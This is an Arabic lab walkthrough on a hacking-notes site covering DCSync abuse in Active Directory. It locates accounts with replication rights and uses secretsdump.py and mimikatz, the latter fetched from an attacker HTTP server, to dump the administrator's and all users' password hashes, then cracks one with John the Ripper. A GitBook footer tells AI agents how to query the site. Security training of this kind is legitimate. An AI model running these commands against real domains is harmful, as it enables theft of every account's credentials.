> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# استغلال DCSync

#### مبدأ DCSync

في Active Directory، يجب أن تقوم وحدات تحكم المجال بمزامنة بعضها مع بعض للحفاظ على قاعدة بيانات متسقة.

على سبيل المثال، عندما يتم إجراء تغيير على أحد وحدات تحكم المجال، يجب تكرار هذا التغيير إلى وحدات تحكم المجال الأخرى.

تتعلق هذه النسخ المتماثل على وجه الخصوص بما يلي:

* المستخدمين؛
* المجموعات؛
* تجزئات كلمات المرور؛
* سمات Active Directory؛
* كائنات المجال؛
* المعلومات اللازمة لحسن سير عمل المجال.

#### 2. لماذا يُعد DCSync حساسًا

ملف **DCSync** تتضمن هذه التقنية أو الهجمة إساءة استخدام حقوق النسخ المتماثل في Active Directory.

عادةً، يجب أن تكون وحدات تحكم المجال فقط قادرة على الاستعلام عن هذه المعلومات الحساسة.

لكن إذا كان لدى مستخدم أو مجموعة حقوق نسخ متماثل مرتفعة جدًا، فيمكنها أن تتصرف مثل وحدة تحكم مجال وأن تستعلم عن البيانات الحساسة من AD.

تشمل الحقوق المهمة ما يلي:

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

يمكن أن تتيح لك هذه الحقوق استرجاع معلومات حرجة من المجال.

#### 3. الهدف في المختبر

في هذا المختبر، الهدف هو تحديد المستخدمين أو المجموعات التي لديها حقوق DCSync.

سنستخدم **BloodHound** للعثور على الحسابات التي تمتلك هذه الأذونات.

#### 4. البحث عن الحسابات ذات حقوق DCSync في BloodHound

في BloodHound، يمكنك استخدام الاستعلام المسبق التالي:

```bash
Find Principals with DCSync Rights
```

<figure><img src="/files/622a323cc9f368f7fc28797c1cc57eaebf192ab3" alt=""><figcaption></figcaption></figure>

يحدد هذا الاستعلام الكيانات الأساسية — المستخدمين أو المجموعات أو أجهزة الكمبيوتر — الذين لديهم حقوق النسخ المتماثل على المجال.

<figure><img src="/files/da7ee622d086163f4e095a7e2cef4258a2700965" alt=""><figcaption></figcaption></figure>

#### 5. البحث باستخدام PowerView

باستخدام PowerView، يمكن أيضًا تحديد الحسابات التي تمتلك هذه الحقوق باستخدام الأمر التالي:

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

يعرض هذا الأمر الكائنات التي تمتلك أذونات مرتبطة بنسخ Active Directory المتماثل.

<figure><img src="/files/0aef712c995d3fa34d1d7d0438e09cb06ece2415" alt=""><figcaption></figcaption></figure>

#### 6. تغيير كلمة مرور الحساب المستهدف

في المختبر، نقوم بعد ذلك بتغيير كلمة مرور الحساب المحدد من أجل أن نتمكن من استخدامه في الاستغلال.

كلمة المرور المستخدمة:

```
Password1@
```

#### 7. الاستغلال عن بُعد باستخدام secretsdump

يمكنك بعد ذلك استخدام `secretsdump.py` لاستخدام حقوق DCSync عن بُعد:

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

وهذا يتيح استرجاع معلومات حساسة يمكن الوصول إليها بفضل حقوق النسخ المتماثل الخاصة بالحساب.

<figure><img src="/files/2e3020208067841b662d60aecebf9f918d151b38" alt=""><figcaption></figcaption></figure>

#### 8. استخدام Mimikatz على جهاز Windows

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

ثم نقوم بتنزيل Mimikatz على شكل `.zip` أرشيف، ثم ننقل الملف التنفيذي إلى جهاز Windows الخاص بالمختبر.

على جهاز المهاجم، نطلق خادم HTTP:

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

من جهاز Windows، نقوم بتنزيل الملف التنفيذي

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

ثم نقوم بتنفيذه:

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="/files/41defc4a453661f39a41ee656927abed7a88ff7f" alt=""><figcaption></figcaption></figure>

#### 9. استرجاع تجزئة المسؤول

باستخدام Mimikatz، يمكنك الاستعلام عن نسخ أسرار مستخدم محدد متماثلًا، على سبيل المثال حساب المسؤول:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="/files/4aa0a355b805ba5c15db01b30f10623c611a1eb4" alt=""><figcaption></figcaption></figure>

#### 10. استرجاع تجزئات جميع المستخدمين

يمكن أيضًا الاستعلام عن المعلومات الخاصة بجميع المستخدمين في المجال:

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="/files/dc72fa6944c11a31057352a317c58793ce9dfdb3" alt=""><figcaption></figcaption></figure>

#### 12. تجهيز التجزئة لكسرها

ثم نضع التجزئة المسترجعة في ملف بتنسيق متوافق مع John the Ripper:

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

ثم نبدأ بكسر تجزئة NTLM:

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="/files/116094cc38ec950bf3bbc671a7106d537492f3cb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
